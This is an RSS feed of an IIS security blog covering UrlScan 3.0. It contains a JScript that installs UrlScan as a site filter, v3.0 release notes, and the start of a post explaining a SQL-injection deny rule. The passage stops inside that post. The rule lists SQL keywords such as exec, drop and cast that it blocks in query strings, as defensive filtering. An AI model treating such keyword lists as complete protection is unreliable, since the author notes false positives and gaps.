<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:cs="http://blogs.iis.net/"><channel><title>Nazim&amp;#39;s IIS Security Blog : UrlScan</title><link>http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx</link><description>Tags: UrlScan</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>Script to install UrlScan v3.0 as a site filter.</title><link>http://blogs.iis.net/nazim/archive/2008/10/14/script-to-install-urlscan-v3-0-as-a-site-filter.aspx</link><pubDate>Tue, 14 Oct 2008 07:02:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2680894</guid><dc:creator>naziml</dc:creator><slash:comments>23</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2680894</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/10/14/script-to-install-urlscan-v3-0-as-a-site-filter.aspx#comments</comments><description>&lt;P&gt;Although using WIX to create an MSI to do this task is a cleaner approach, it is too heavy duty for me. I do this often enough to warrant creating a script for it, so I though I would share it out.&lt;/P&gt;
&lt;P&gt;To use it you would run: InstallUrlScanAtSite.js -siteid:1 [-dest:c:\foo]. You have to specify the site ID of the site you want it installed at. The 'dest' parameter will be the location where your urlscan.dll and urlscan.ini file will be copied to for use as the filter path. If you don't specify this, it will copy them to your site's ROOT vdir path.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;&lt;PRE class=csharpcode&gt;&lt;SPAN class=rem&gt;// InstallUrlScatAtSite.js&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Install UrlScan 3.0 at a particular site.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Author: Nazim Lala&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// What it does:&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   1. By default copy urlscan.dll and urlscan.ini from &lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      system32\inetsrv\urlscan dir to root of site you want to install to.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      Else use the value of Dest as the destination.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   2. Install this copy of the dll as a site filter of that particular site.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;// Assumptions:&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   1. You already have UrlScan 3.0 installed globally on the machine.&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//   2. The script has access to write to your site's root directory or &lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//      Dest&lt;/SPAN&gt;
&lt;SPAN class=rem&gt;//&lt;/SPAN&gt;

&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szUsage;
&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szSiteID;
&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szDest;


&lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; CRLF = &lt;SPAN class=str&gt;"\r\n"&lt;/SPAN&gt;;

szUsage = &lt;SPAN class=str&gt;""&lt;/SPAN&gt; +
    &lt;SPAN class=str&gt;"Install UrlScan 3.0 as a site filter"&lt;/SPAN&gt; + CRLF +
    CRLF +
    WScript.ScriptName + &lt;SPAN class=str&gt;" [[-Parameter:Value]...]"&lt;/SPAN&gt; + CRLF +
    CRLF +
    &lt;SPAN class=str&gt;"Where:"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    Parameter  Value"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    ---------  -------------------------------------------"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    SiteID     Site ID # (Required)"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;"    Dest       Destination to copy urlscan.dll/.ini to"&lt;/SPAN&gt; + 
    &lt;SPAN class=str&gt;"(Default is Site root)"&lt;/SPAN&gt; + CRLF +
    &lt;SPAN class=str&gt;""&lt;/SPAN&gt;;
    
&lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( ParseCommandline() &amp;amp;&amp;amp; ValidateArgs() )
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !SetandCheckDestination() ) 
    {
        WScript.Quit( 1 );
    }
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !CopyDllAndConfig() ) 
    {
        WScript.Quit( 2 );
    }
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !AddFilter() )
    {
        WScript.Quit( 3 );
    }
    
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; ParseCommandline()
{
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; exp = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; RegExp( &lt;SPAN class=str&gt;"-([^:]+):(.+)"&lt;/SPAN&gt; );
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; args;

    &lt;SPAN class=kwrd&gt;for&lt;/SPAN&gt; ( &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; i = 0; i &amp;lt; WScript.Arguments.length; i++ )
    {
        args = exp.exec( WScript.Arguments( i ) );
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( args == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Invalid parameter "&lt;/SPAN&gt; + WScript.Arguments( i ) )
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;switch&lt;/SPAN&gt; ( args[1].toLowerCase() )
            {
                &lt;SPAN class=kwrd&gt;case&lt;/SPAN&gt; &lt;SPAN class=str&gt;"siteid"&lt;/SPAN&gt;:
                    szSiteID = args[2];
                    &lt;SPAN class=kwrd&gt;break&lt;/SPAN&gt;;
                &lt;SPAN class=kwrd&gt;case&lt;/SPAN&gt; &lt;SPAN class=str&gt;"dest"&lt;/SPAN&gt;:
                    szDest = TrimSlashes( args[2] );
                    &lt;SPAN class=kwrd&gt;break&lt;/SPAN&gt;;
                &lt;SPAN class=kwrd&gt;default&lt;/SPAN&gt;:
                    WScript.Echo( &lt;SPAN class=str&gt;"Unknown parameter "&lt;/SPAN&gt; + args[1] );
                    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
            }
        }
    }

    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; ValidateArgs()
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szSiteID == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Missing Site ID."&lt;/SPAN&gt; + szUsage);
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; SetandCheckDestination()
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szDest == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
    {
        &lt;SPAN class=rem&gt;// Set destination to site root&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objSite = GetObject( &lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
                szSiteID +&lt;SPAN class=str&gt;"/ROOT"&lt;/SPAN&gt; );
            szDest = objSite.Path;
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to acquire site's ROOT path. "&lt;/SPAN&gt; +  
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;// Check if destination path exists. If not try to create it.&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objFSO = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; ActiveXObject( &lt;SPAN class=str&gt;"Scripting.FileSystemObject"&lt;/SPAN&gt; );
            &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( !objFSO.FolderExists( szDest ) )
            {
                objFSO.CreateFolder( szDest );
            }
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to create folder. "&lt;/SPAN&gt; + 
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }

    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}    

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; CopyDllAndConfig()
{
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objFSO = &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; ActiveXObject( &lt;SPAN class=str&gt;"Scripting.FileSystemObject"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; WshShell = WScript.CreateObject( &lt;SPAN class=str&gt;"WScript.Shell"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objEnv = WshShell.Environment( &lt;SPAN class=str&gt;"Process"&lt;/SPAN&gt; );
        &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szUrlScanDir = objEnv( &lt;SPAN class=str&gt;"WINDIR"&lt;/SPAN&gt; ) + 
            &lt;SPAN class=str&gt;"\\system32\\inetsrv\\urlscan"&lt;/SPAN&gt;;
        objFSO.CopyFile( szUrlScanDir+&lt;SPAN class=str&gt;"\\urlscan.dll"&lt;/SPAN&gt;, 
            szDest+&lt;SPAN class=str&gt;"\\urlscan.dll"&lt;/SPAN&gt; );
        objFSO.CopyFile( szUrlScanDir+&lt;SPAN class=str&gt;"\\urlscan.ini"&lt;/SPAN&gt;, 
            szDest+&lt;SPAN class=str&gt;"\\urlscan.ini"&lt;/SPAN&gt; );
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Failed to copy files."&lt;/SPAN&gt; +
            FormatErrorString( e ) );
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; AddFilter()
{
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objSiteFilters;
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; objUrlScanFilter;
    &lt;SPAN class=kwrd&gt;var&lt;/SPAN&gt; szLoadOrder;
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        objSiteFilters = GetObject(&lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
            szSiteID + &lt;SPAN class=str&gt;"/FILTERS"&lt;/SPAN&gt;);
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Perhaps we don't have any filters.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Try to create it.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
        {
            objSiteFilters = GetObject( &lt;SPAN class=str&gt;"IIS://LOCALHOST/W3SVC/"&lt;/SPAN&gt; + 
                                    szSiteID ).Create( &lt;SPAN class=str&gt;"IIsFilters"&lt;/SPAN&gt;,
                                                        &lt;SPAN class=str&gt;"Filters"&lt;/SPAN&gt; );
            objSiteFilters.SetInfo();
        }
        &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e2 )
        {
            &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
            &lt;SPAN class=rem&gt;// Could not create the filters node. Quit.&lt;/SPAN&gt;
            &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
            WScript.Echo( &lt;SPAN class=str&gt;"Failed to create filters node."&lt;/SPAN&gt; + 
                FormatErrorString( e ) );
            &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
        }
    }
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Create the actual Filters node and configure path.&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        objUrlScanFilter = objSiteFilters.Create( &lt;SPAN class=str&gt;"IIsFilter"&lt;/SPAN&gt;, 
            &lt;SPAN class=str&gt;"UrlScan 3.0"&lt;/SPAN&gt; );
        objUrlScanFilter.FilterPath = szDest;
        objUrlScanFilter.SetInfo();
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( e.number == -2147024713 )
        {
            WScript.Echo( &lt;SPAN class=str&gt;"UrlScan 3.0 Filter already exists."&lt;/SPAN&gt; );
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            WScript.Echo( FormatErrorString( e ) );
        }

        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    
    &lt;SPAN class=kwrd&gt;try&lt;/SPAN&gt;
    {
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;// Update FilterLoadOrder and append to beginning of list&lt;/SPAN&gt;
        &lt;SPAN class=rem&gt;//&lt;/SPAN&gt;
        szLoadOrder = objSiteFilters.FilterLoadOrder;
        
        &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( szLoadOrder == &lt;SPAN class=kwrd&gt;null&lt;/SPAN&gt; )
        {
            objSiteFilters.FilterLoadOrder = &lt;SPAN class=str&gt;"UrlScan 3.0"&lt;/SPAN&gt;;
        }
        &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
        {
            objSiteFilters.FilterLoadOrder = &lt;SPAN class=str&gt;"UrlScan 3.0,"&lt;/SPAN&gt;+szLoadOrder;
        }
        objSiteFilters.SetInfo();
        
    }
    &lt;SPAN class=kwrd&gt;catch&lt;/SPAN&gt; ( e )
    {
        WScript.Echo( &lt;SPAN class=str&gt;"Failed to update filter load order: "&lt;/SPAN&gt; + 
            FormatErrorString( e ) );
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;false&lt;/SPAN&gt;;
    }
    
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=kwrd&gt;true&lt;/SPAN&gt;;
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; TrimSlashes( strInput )
{
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; strInput.replace( &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; RegExp( &lt;SPAN class=str&gt;"^/+|/+$"&lt;/SPAN&gt;, &lt;SPAN class=str&gt;"g"&lt;/SPAN&gt; ), &lt;SPAN class=str&gt;""&lt;/SPAN&gt; );
}

&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; Int32ToHRESULT( num ) 
{
    &lt;SPAN class=kwrd&gt;if&lt;/SPAN&gt; ( num &amp;lt; 0 )
    {
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"0x"&lt;/SPAN&gt; + &lt;SPAN class=kwrd&gt;new&lt;/SPAN&gt; Number( 0x100000000 + num ).toString( 16 );
    }
    &lt;SPAN class=kwrd&gt;else&lt;/SPAN&gt;
    {
        &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"0x"&lt;/SPAN&gt; + num.toString( 16 );
    }
}


&lt;SPAN class=kwrd&gt;function&lt;/SPAN&gt; FormatErrorString( objError )
{
    &lt;SPAN class=kwrd&gt;return&lt;/SPAN&gt; &lt;SPAN class=str&gt;"("&lt;/SPAN&gt; + Int32ToHRESULT( objError.number) + &lt;SPAN class=str&gt;")"&lt;/SPAN&gt; + &lt;SPAN class=str&gt;": "&lt;/SPAN&gt; +
           objError.description;
}&lt;/PRE&gt;&lt;/BLOCKQUOTE&gt;
&lt;STYLE type=text/css&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/STYLE&gt;

&lt;STYLE type=text/css&gt;
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/STYLE&gt;

&lt;P&gt;I haven't thoroughly tested it, so if you find any bugs, let me know. You can also easily modify this script to add it to ALL sites on the server if need be.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2680894" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>UrlScan v3.0 RTW Released</title><link>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx</link><pubDate>Tue, 19 Aug 2008 20:58:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2567736</guid><dc:creator>naziml</dc:creator><slash:comments>24</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2567736</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx#comments</comments><description>&lt;P&gt;About 2 months ago we released the &lt;A href="http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx"&gt;beta for UrlScan v3.0&lt;/A&gt; to address customer concerns with &lt;A href="http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx" mce_href="http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx"&gt;automated SQL injection attacks&lt;/A&gt; and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.iis.net/go/1697" mce_href="http://www.iis.net/go/1697"&gt;UrlScan v3.0 RTW for x86&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.iis.net/go/1698" mce_href="http://www.iis.net/go/1698"&gt;UrlScan v3.0 RTW for x64&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/473/using-urlscan" mce_href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;Using UrlScan&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/475/urlscan-setup/" mce_href="http://learn.iis.net/page.aspx/475/urlscan-setup/"&gt;UrlScan Setup&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/"&gt;Common UrlScan Scenarios&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://learn.iis.net/page.aspx/477/urlscan-faq/" mce_href="http://learn.iis.net/page.aspx/477/urlscan-faq/"&gt;UrlScan FAQs&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Here is a summary of the feature additions to UrlScan v3.0 RTW&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;U&gt;1) W3C formatted logging.&lt;/U&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Date:&lt;/STRONG&gt; Date of incoming request &lt;BR&gt;&lt;STRONG&gt;Time:&lt;/STRONG&gt; UTC time for incoming request &lt;BR&gt;&lt;STRONG&gt;c-ip:&lt;/STRONG&gt; Client IP address &lt;BR&gt;&lt;STRONG&gt;s-siteid:&lt;/STRONG&gt; SiteID for the site that processed the request &lt;BR&gt;&lt;STRONG&gt;cs-method:&lt;/STRONG&gt; Method (verb) of incoming request &lt;BR&gt;&lt;STRONG&gt;cs-uri&lt;/STRONG&gt;: URI of incoming request, including query string &lt;BR&gt;&lt;STRONG&gt;x-action:&lt;/STRONG&gt; Action performed by UrlScan. Either rejected or logged &lt;BR&gt;&lt;STRONG&gt;x-reason:&lt;/STRONG&gt; Reason for UrlScan check being triggered. &lt;BR&gt;&lt;STRONG&gt;x-context:&lt;/STRONG&gt; Portion of request this check is applicable to, e.g. URL, query string etc &lt;BR&gt;&lt;STRONG&gt;cs-data:&lt;/STRONG&gt; Data in the request that triggered the UrlScan check&amp;nbsp; &lt;BR&gt;&lt;STRONG&gt;x-control:&lt;/STRONG&gt; UrlScan configuration data that caused the UrlScan check to trigger&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;U&gt;2) Allow rules for URLs and query strings&lt;/U&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Here is the &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx"&gt;link to my blog&lt;/A&gt; when UrlScan v3.0 Beta was release&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2567736" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 2)</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx</link><pubDate>Mon, 30 Jun 2008 20:41:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457686</guid><dc:creator>naziml</dc:creator><slash:comments>26</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457686</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx#comments</comments><description>&lt;H3&gt;&lt;FONT color=#008080&gt;Dissecting the SQL injection sample in the walkthrough&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that &lt;FONT color=#ff0000&gt;&lt;STRONG&gt;SQL injection is a web application issue, and hence the right place to fix it is in the web application&lt;/STRONG&gt;&lt;/FONT&gt;. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection] &lt;BR&gt;&lt;/STRONG&gt;AppliesTo=.asp,.aspx &lt;BR&gt;DenyDataSection=SQL Injection Strings &lt;BR&gt;ScanUrl=0 &lt;BR&gt;ScanAllRaw=0 &lt;BR&gt;ScanQueryString=1 &lt;BR&gt;ScanHeaders= &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Strings] &lt;BR&gt;&lt;/STRONG&gt;-- &lt;BR&gt;%3b ; a semicolon &lt;BR&gt;/* &lt;BR&gt;@ ; also catches @@ &lt;BR&gt;char ; also catches nchar and varchar &lt;BR&gt;alter &lt;BR&gt;begin &lt;BR&gt;cast &lt;BR&gt;create &lt;BR&gt;cursor &lt;BR&gt;declare &lt;BR&gt;delete &lt;BR&gt;drop &lt;BR&gt;end &lt;BR&gt;exec ; also catches execute &lt;BR&gt;fetch &lt;BR&gt;insert &lt;BR&gt;kill &lt;BR&gt;open &lt;BR&gt;select &lt;BR&gt;sys ; also catches sysobjects and syscolumns &lt;BR&gt;table &lt;BR&gt;update &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.&lt;/P&gt;
&lt;P&gt;The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
